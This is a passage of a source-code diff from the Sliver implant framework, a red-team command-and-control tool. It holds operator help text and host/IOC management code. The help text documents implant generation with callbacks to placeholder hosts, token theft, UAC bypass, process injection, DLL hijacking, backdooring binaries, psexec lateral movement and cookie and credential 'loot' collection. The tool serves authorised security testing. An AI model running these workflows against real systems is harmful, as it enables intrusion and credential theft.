+Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
+with the --os and --format flags.
+
+To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
+	generate --mtls foo.example.com 
+	generate --os windows --arch 64bit --mtls foo.example.com
+
+A Windows DLL can be generated with the following command:
+	generate --format shared --mtls foo.example.com
+
+To output a MacOS Mach-O executable file, the following command would be used
+	generate --os mac --mtls foo.example.com 
+
+To output a Linux ELF executable file, the following command would be used:
+	generate --os linux --mtls foo.example.com 
+
+
+[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
+DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process. 
+This is done so that these unique domains show up if someone runs 'strings' on the binary, if they then attempt 
+to probe the endpoint or otherwise resolve the domain you'll be alerted that your implant has been discovered, 
+and which implant file was discovered along with any affected sessions.
+
+[[.Bold]]Important:[[.Normal]] You must have a DNS listener/server running to detect the DNS queries (see the "dns" command).
+
+Unique canary subdomains are automatically generated and inserted using the --canary flag. You can view previously generated 
+canaries and their status using the "canaries" command:
+	generate --mtls foo.example.com --canary 1.foobar.com
+
+[[.Bold]][[.Underline]]++ Execution Limits ++[[.Normal]]
+Execution limits can be used to restrict the execution of a Sliver implant to machines with specific configurations.
+
+[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
+Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
+see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
+command.
+`
+	generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
+[[.Bold]]About:[[.Normal]] Generate a new sliver stager shellcode and saves the output to the cwd or a path specified with --save, or to stdout using --format.
+
+[[.Bold]][[.Underline]]++ Bad Characters ++[[.Normal]]
+Bad characters must be specified like this for single bytes:
+
+generate stager -b 00
+
+And like this for multiple bytes:
+
+generate stager -b '00 0a cc'
+
+[[.Bold]][[.Underline]]++ Output Formats ++[[.Normal]]
+You can use the --format flag to print out the shellcode to stdout, in one of the following transform formats:
+[[.Bold]]bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript[[.Normal]]
+`
+	stageListenerHelp = `[[.Bold]]Command:[[.Normal]] stage-listener <options>
+[[.Bold]]About:[[.Normal]] Starts a stager listener bound to a Sliver profile.
+[[.Bold]]Examples:[[.Normal]] 
+
+The following command will start a TCP listener on 1.2.3.4:8080, and link the [[.Bold]]my-sliver-profile[[.Normal]] profile to it.
+When a stager calls back to this URL, a sliver corresponding to the said profile will be sent.
+
+stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
+
+To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
+
+profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
+`
+
+	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
+[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
+
+[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
+Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
+settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
+	profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
+	generate-profile mtls-profile
+`
+
+	generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
+[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
+
+	msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
+[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
+
+	msfInjectHelp = `[[.Bold]]Command:[[.Normal]] inject [--pid] [--lhost] <options>
+[[.Bold]]About:[[.Normal]] Execute a metasploit payload in a remote process.`
+
+	psHelp = `[[.Bold]]Command:[[.Normal]] ps <options>
+[[.Bold]]About:[[.Normal]] List processes on remote system.`
+
+	pingHelp = `[[.Bold]]Command:[[.Normal]] ping <implant name/session>
+[[.Bold]]About:[[.Normal]] Ping session by name or the active session. This does NOT send an ICMP packet, it just sends a small 
+C2 message round trip to ensure the remote implant is still responding to commands.`
+
+	killHelp = `[[.Bold]]Command:[[.Normal]] kill <implant name/session>
+[[.Bold]]About:[[.Normal]] Kill a remote implant process (does not delete file).`
+
+	lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
+[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
+
+[[.Bold]][[.Underline]]Sorting[[.Normal]]
+Directory and file listings are sorted by name in ascending order by default.  Listings can also be sorted by size (-s) and modified time (-m).  All sorts can be reversed with -r.
+
+[[.Bold]][[.Underline]]Filters[[.Normal]]
+Filters are a way to limit search results to directory and file names matching given criteria.
+
+Filters are specified after the path.  A blank path will filter on names in the current directory.  For example:
+/etc/passwd will display the listing for /etc/passwd.  "/etc/" is the path, and "passwd" is the filter.
+
+Directory and file listings can be filtered using the following patterns:
+'*': Wildcard, matches any sequence of non-path separators (slashes)
+	Example: n*.txt will match all file and directory names starting with n and ending with .txt
+
+'?': Single character wildcard, matches a single non-path separator (slashes)
+	Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
+
+'[{range}]': Match a range of characters.  Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
+	Example: [a-c] will match the characters a, b, and c.  [a-c]* will match all directory and file names that start with a, b, or c.
+		^[r-u] will match all characters except r, s, t, and u.
+
+If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
+On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
+`
+
+	cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
+[[.Bold]]About:[[.Normal]] Change working directory of the active session.`
+
+	pwdHelp = `[[.Bold]]Command:[[.Normal]] pwd
+[[.Bold]]About:[[.Normal]] Print working directory of the active session.`
+
+	mkdirHelp = `[[.Bold]]Command:[[.Normal]] mkdir [remote path]
+[[.Bold]]About:[[.Normal]] Create a remote directory.`
+
+	rmHelp = `[[.Bold]]Command:[[.Normal]] rm [remote path]
+[[.Bold]]About:[[.Normal]] Delete a remote file or directory.`
+
+	catHelp = `[[.Bold]]Command:[[.Normal]] cat <remote path> 
+[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
+
+	downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
+[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
+
+	uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
+[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
+
+	procdumpHelp = `[[.Bold]]Command:[[.Normal]] procdump [pid]
+[[.Bold]]About:[[.Normal]] Dumps the process memory given a process identifier (pid)`
+
+	runAsHelp = `[[.Bold]]Command:[[.Normal]] runas [--username] [--process] [--args]
+[[.Bold]]About:[[.Normal]] (Windows Only) Run a new process in the context of the designated user`
+
+	impersonateHelp = `[[.Bold]]Command:[[.Normal]] impersonate USERNAME
+[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that run new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
+
+	revToSelfHelp = `[[.Bold]]Command:[[.Normal]] rev2self
+[[.Bold]]About:[[.Normal]] (Windows Only) Call RevertToSelf, lose the stolen token.`
+
+	elevateHelp = `[[.Bold]]Command:[[.Normal]] elevate
+[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new Sliver session as an elevated process (UAC bypass)`
+
+	executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [local path to assembly] [arguments]
+[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
+`
+
+	executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
+[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
+
+[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
+Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
+	generate --format shellcode
+`
+
+	migrateHelp = `[[.Bold]]Command:[[.Normal]] migrate <pid>
+[[.Bold]]About:[[.Normal]] (Windows Only) Migrates into the process designated by <pid>.`
+
+	websitesHelp = `[[.Bold]]Command:[[.Normal]] websites <options> <operation>
+[[.Bold]]About:[[.Normal]] Add content to HTTP(S) C2 websites to make them look more legit.
+
+Websites can be thought of as a collection of content identified by a name, Sliver can store any number of
+websites, and each website can host any amount of static content mapped to arbitrary paths. For example, you
+could create a 'blog' website and 'corp' website each with its own collection of content. When starting an
+HTTP(S) C2 listener you can specify which collection of content to host on the C2 endpoint.
+
+[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
+List websites:
+	websites
+
+List the contents of a website:
+	websites [name]
+
+Add content to a website:
+	websites add-content --website blog --web-path / --content ./index.html
+	websites add-content --website blog --web-path /public --content ./public --recursive
+
+Delete content from a website:
+	websites rm-content --website blog --web-path /index.html
+	websites rm-content --website blog --web-path /public --recursive
+
+`
+	sideloadHelp = `[[.Bold]]Command:[[.Normal]] sideload <options> <filepath to DLL>
+[[.Bold]]About:[[.Normal]] Load and execute a shared library in memory in a remote process.
+[[.Bold]]Example usage:[[.Normal]]
+
+Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
+	sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
+Sideload a Linux shared library into a new bash process using LD_PRELOAD:
+	sideload -p /bin/bash /tmp/mylib.so
+Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
+	sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
+
+[[.Bold]]Remarks:[[.Normal]]
+Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
+terminates before responding. This will also prevent the hosting process to run indefinitely.
+This is not required on Windows since the payload is injected as a new remote thread, and we wait for the thread completion before
+killing the hosting process.
+
+Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD_PARAMS[[.Normal]] environment variable.
+`
+	spawnDllHelp = `[[.Bold]]Command:[[.Normal]] spawndll <options> <filepath to DLL> [entrypoint arguments]
+[[.Bold]]About:[[.Normal]] Load and execute a Reflective DLL in memory in a remote process.
+
+[[.Bold]]--process[[.Normal]] - Process to inject into.
+[[.Bold]]--export[[.Normal]] - Name of the export to call (default: ReflectiveLoader)
+`
+
+	terminateHelp = `[[.Bold]]Command:[[.Normal]] terminate PID
+[[.Bold]]About:[[.Normal]] Kills a remote process designated by PID
+`
+
+	screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
+[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
+`
+	loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path> 
+[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
+Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
+For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
+Load an macro:
+	load /tmp/chrome-dump
+Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
+chrome-dump
+├── chrome-dump.dll
+├── chrome-dump.so
+└── manifest.json
+It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
+{
+  "macroName":"chrome-dump", // name of the macro, can be anything
+  "macroCommands":[
+    {
+      "name":"chrome-dump", // name of the command available in the sliver client (no space)
+      "entrypoint":"ChromeDump", // entrypoint of the shared library to execute
+      "help":"Dump Google Chrome cookies", // short help message
+      "allowArgs":false,  // make it true if the commands require arguments
+	  "defaultArgs": "test", // if you need to pass a default argument
+      "extFiles":[ // list of files, groupped per target OS
+        {
+		  "os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
+          "files":{
+            "x64":"chrome-dump.dll",
+            "x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
+          }
+        },
+        {
+          "os":"linux",
+          "files":{
+            "x64":"chrome-dump.so"
+          }
+        },
+        {
+          "os":"darwin",
+          "files":{
+            "x64":"chrome-dump.dylib"
+          }
+        }
+      ],
+      "isReflective":false // only set to true when using a reflective DLL
+    }
+  ]
+}
+
+Each command will have the [[.Bold]]--process[[.Normal]] flag defined, which allows you to specify the process to inject into. The following default values are set:
+ - Windows: c:\windows\system32\notepad.exe
+ - Linux: /bin/bash
+ - Mac OS X: /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment
+`
+	psExecHelp = `[[.Bold]]Command:[[.Normal]] psexec <target>
+[[.Bold]]About:[[.Normal]] Start a new sliver as a service on a remote target.
+
+This command uploads a Sliver binary generated on the fly from a profile.
+The profile must be created with the [[.Bold]]service[[.Normal]] format, so that the service manager can properly start and stop the binary.
+
+To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
+
+profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
+
+Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
+
+psexec -d Description -s ServiceName -p win-svc64 TARGET_FQDN
+
+The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows user associated with the current Sliver session.
+`
+	backdoorHelp = `[[.Bold]]Command:[[.Normal]] backdoor <remote file path>
+[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
+[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
+
+[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
+`
+	makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
+[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
+`
+
+	getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
+[[.Bold]]About:[[.Normal]] Retrieve the environment variables for the current session. If no variable name is provided, lists all the environment variables.
+[[.Bold]]Example:[[.Normal]] getenv SHELL
+	`
+	setEnvHelp = `[[.Bold]]Command:[[.Normal]] setenv [name]
+[[.Bold]]About:[[.Normal]] Set an environment variable in the current process.
+[[.Bold]]Example:[[.Normal]] setenv SHELL /bin/bash
+	`
+	regReadHelp = `[[.Bold]]Command:[[.Normal]] registry read PATH [name]
+[[.Bold]]About:[[.Normal]] Read a value from the windows registry
+[[.Bold]]Example:[[.Normal]] registry read --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
+	`
+	regWriteHelp = `[[.Bold]]Command:[[.Normal]] registry write PATH value [name]
+[[.Bold]]About:[[.Normal]] Write a value to the windows registry
+[[.Bold]]Example:[[.Normal]] registry write --hive HKLM --type dword "software\\google\\chrome\\BLBeacon\\version" 1234
+
+The type flag can take the following values:
+
+- string (regular string)
+- dword (uint32)
+- qword (uint64)
+- binary
+
+When using the binary type, you must either:
+
+- pass the value as an hex encoded string: registry write --type binary --hive HKCU "software\\bla\\key\\val" 0d0a90124f
+- use the --path flag to provide a filepath containg the payload you want to write: registry write --type binary --path /tmp/payload.bin --hive HKCU "software\\bla\\key\\val"
+
+	`
+	regCreateKeyHelp = `[[.Bold]]Command:[[.Normal]] registry create PATH [name]
+[[.Bold]]About:[[.Normal]] Read a value from the windows registry
+[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
+	`
+
+	pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
+[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
+[[.Bold]]Examples:[[.Normal]]
+
+List pivots for the current session:
+
+	pivots
+
+Start a tcp pivot on the current session:
+
+	pivots tcp --bind 0.0.0.0
+
+`
+	wgSocksHelp = `[[.Bold]]Command:[[.Normal]] wg-socks
+[[.Bold]]About:[[.Normal]] Create a socks5 listener on the implant Wireguard tun interface
+[[.Bold]]Examples:[[.Normal]]
+Start a new listener:
+
+	wg-socks start
+
+Specify the listening port:
+
+	wg-socks start --bind 1234
+
+List existing listeners:
+
+	wg-socks
+
+Stop and remove an existing listener:
+
+	wg-socks rm 0
+`
+	wgPortFwdHelp = `[[.Bold]]Command:[[.Normal]] wg-portfwd
+[[.Bold]]About:[[.Normal]] Create a TCP port forward on the implant Wireguard tun interface
+[[.Bold]]Examples:[[.Normal]]
+Add a new forwarding rule:
+
+	wg-portfwd add --remote 1.2.3.4:1234
+
+Specify the listening port:
+
+	wg-portfwd add --bind 1234 --remote 1.2.3.4
+
+List existing listeners:
+
+	wg-portfwd
+
+Stop and remove an existing listener:
+
+	wg-portfwd rm 0
+`
+	sshHelp = `[[.Bold]]Command:[[.Normal]] ssh
+[[.Bold]]About:[[.Normal]] Run an one-off SSH command via the implant.
+The built-in client will use the ssh-agent to connect to the remote host.
+The username will be the current session username by default, but is configurable using the "-l" flag.
+[[.Bold]]Examples:[[.Normal]]
+
+# Connect to a remote host named "bastion" and execute "cat /etc/passwd"
+ssh bastion cat /etc/passwd
+
+# Connect to a remote host by specifying a username
+ssh -l ubuntu ec2-instance ps aux
+`
+
+	lootHelp = `[[.Bold]]Command:[[.Normal]] loot
+[[.Bold]]About:[[.Normal]] Store and share loot between operators.
+
+A piece of loot can be one of two loot types: a file or a credential. 
+
+[[.Bold]]File Loot[[.Normal]]
+A file can be binary or text, Sliver will attempt to detect the type of file automatically or you can specify 
+a file type with --file-type. You can add local files as loot using the "local" sub-command, or you can add
+files from a session using the "remote" sub-command.
+
+[[.Bold]]Credential Loot[[.Normal]]
+Credential loot can be a user/password combination, an API key, or a file. You can add user/password and API
+keys using the "creds" sub-command. To add credential files use either the "local" or "remote" sub-commands
+with a "--type cred" flag (note the distinction between loot type --type, and file type --file-type). You can
+additionally specify a --file-type (binary or text) as you would normally.
+
+[[.Bold]]Examples:[[.Normal]]
+
+# Adding a local file (file paths are relative):
+loot local ./foo.txt
+
+# Adding a remote file from the active session:
+loot remote C:/foo.txt
+
+# Adding a remote file as a credential from the active session:
+loot remote --type cred id_rsa
+
+# Display only credentials:
+loot --filter creds
+
+# Display the contents of a piece of loot:
+loot fetch
+`
+
+	reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
+[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
+reactions do not support variables or logic, they simply allow you to run verbatim
+commands when an event occurs. To implement complex event-based logic we recommend
+using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
+
+[[.Bold]]Reactable Events:[[.Normal]]
+% 20s  Triggered when a new session is opened to a target
+% 20s  Triggered on changes to session metadata
+% 20s  Triggered when a session is closed (for any reason)
+% 20s  Triggered when a canary is burned or created
+% 20s  Triggered when implants are discovered on threat intel platforms
+% 20s  Triggered when a new piece of loot is added to the server
+% 20s  Triggered when a piece of loot is removed from the server
+`,
+		consts.SessionOpenedEvent,
+		consts.SessionUpdateEvent,
+		consts.SessionClosedEvent,
+		consts.CanaryEvent,
+		consts.WatchtowerEvent,
+		consts.LootAddedEvent,
+		consts.LootRemovedEvent,
+	)
+
+	reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
+[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).  
+
+The built-in reactions do not support variables or logic, they simply allow you to 
+run verbatim commands when an event occurs. To implement complex event-based logic 
+we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
+
+[[.Bold]]Examples:[[.Normal]]
+# The command uses interactive menus to build a reaction. Simply run:
+reaction set
+
+[[.Bold]]Reactable Events:[[.Normal]]
+% 20s  Triggered when a new session is opened to a target
+% 20s  Triggered on changes to session metadata
+% 20s  Triggered when a session is closed (for any reason)
+% 20s  Triggered when a canary is burned or created
+% 20s  Triggered when implants are discovered on threat intel platforms
+% 20s  Triggered when a new piece of loot is added to the server
+% 20s  Triggered when a piece of loot is removed from the server
+	`,
+		consts.SessionOpenedEvent,
+		consts.SessionUpdateEvent,
+		consts.SessionClosedEvent,
+		consts.CanaryEvent,
+		consts.WatchtowerEvent,
+		consts.LootAddedEvent,
+		consts.LootRemovedEvent,
+	)
+
+	reactionUnsetHelp = `[[.Bold]]Command:[[.Normal]] reaction unset
+[[.Bold]]About:[[.Normal]] Unset/remove automated commands in reaction to event(s).
+
+[[.Bold]]Examples:[[.Normal]]
+# Remove a reaction
+reaction unset --id 1
+`
+	dllHijackHelp = `[[.Bold]]Command:[[.Normal]] dllhijack
+[[.Bold]]About:[[.Normal]] Prepare and plant a DLL on the remote system for a hijack scenario.
+The planted DLL will have its export directory modified to forward the exports to a reference DLL
+on the remote system.
+The DLL used for the hijack can either be a file on the operator's system or built from a Sliver profile,
+supplied with the --profile flag.
+
+[[.Bold]]Examples:[[.Normal]]
+# Use a local DLL for a hijack
+dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
+
+# Use a Sliver generated DLL for the hijack
+profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
+dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
+
+# Use a local DLL as the reference DLL
+dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
+`
+
+	getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
+[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
+`
+)
+
+const (
+	// ANSI Colors
+	normal    = "\033[0m"
+	black     = "\033[30m"
+	red       = "\033[31m"
+	green     = "\033[32m"
+	orange    = "\033[33m"
+	blue      = "\033[34m"
+	purple    = "\033[35m"
+	cyan      = "\033[36m"
+	gray      = "\033[37m"
+	bold      = "\033[1m"
+	clearln   = "\r\x1b[2K"
+	upN       = "\033[%dA"
+	downN     = "\033[%dB"
+	underline = "\033[4m"
+)
+
+// GetHelpFor - Get help string for a command
+func GetHelpFor(cmdName []string) string {
+	if 0 < len(cmdName) {
+		if helpTmpl, ok := cmdHelp[strings.Join(cmdName, sep)]; ok {
+			return FormatHelpTmpl(helpTmpl)
+		}
+	}
+	return ""
+}
+
+// FormatHelpTmpl - Applies format template to help string
+func FormatHelpTmpl(helpStr string) string {
+	outputBuf := bytes.NewBufferString("")
+	tmpl, _ := template.New("help").Delims("[[", "]]").Parse(helpStr)
+	tmpl.Execute(outputBuf, struct {
+		Normal    string
+		Bold      string
+		Underline string
+		Black     string
+		Red       string
+		Green     string
+		Orange    string
+		Blue      string
+		Purple    string
+		Cyan      string
+		Gray      string
+	}{
+		Normal:    normal,
+		Bold:      bold,
+		Underline: underline,
+		Black:     black,
+		Red:       red,
+		Green:     green,
+		Orange:    orange,
+		Blue:      blue,
+		Purple:    purple,
+		Cyan:      cyan,
+		Gray:      gray,
+	})
+	return outputBuf.String()
+}

client/command/hosts/README.md

@@ -0,0 +1,4 @@
+Hosts
+======
+
+Command to access and manage host information.

client/command/hosts/hosts-ioc-rm.go

@@ -0,0 +1,46 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// HostsIOCRmCmd - Remove a host from the database
+func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	host, err := SelectHost(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	ioc, err := SelectHostIOC(host, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Removed host from database\n")
+}

client/command/hosts/hosts-ioc.go

@@ -0,0 +1,107 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// HostsIOCCmd - Remove a host from the database
+func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	host, err := SelectHost(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if 0 < len(host.IOCs) {
+		con.Printf("%s\n", hostIOCsTable(host, con))
+	} else {
+		con.Println()
+		con.PrintInfof("No IOCs tracked on host\n")
+	}
+}
+
+func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
+	tw := table.NewWriter()
+	tw.SetStyle(table.StyleBold)
+	tw.AppendHeader(table.Row{"File Path", "SHA-256"})
+	for _, ioc := range host.IOCs {
+		tw.AppendRow(table.Row{
+			ioc.Path,
+			ioc.FileHash,
+		})
+	}
+	return tw.Render()
+}
+
+func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
+
+	// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
+	// to work properly since we rely on the index of the user's selection to find the session in the map
+	var keys []string
+	var iocMap = make(map[string]*clientpb.IOC)
+	for _, ioc := range host.IOCs {
+		keys = append(keys, ioc.ID)
+		iocMap[ioc.ID] = ioc
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		ioc := iocMap[key]
+		fmt.Fprintf(table, "%s\t%s\t\n",
+			ioc.Path,
+			ioc.FileHash,
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select an IOC:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> host
+	for index, option := range options {
+		if option == selected {
+			return iocMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}

client/command/hosts/hosts-rm.go

@@ -0,0 +1,41 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// HostsRmCmd - Remove a host from the database
+func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	host, err := SelectHost(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	_, err = con.Rpc.HostRm(context.Background(), host)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Removed host from database\n")
+}

client/command/hosts/hosts.go

@@ -0,0 +1,186 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
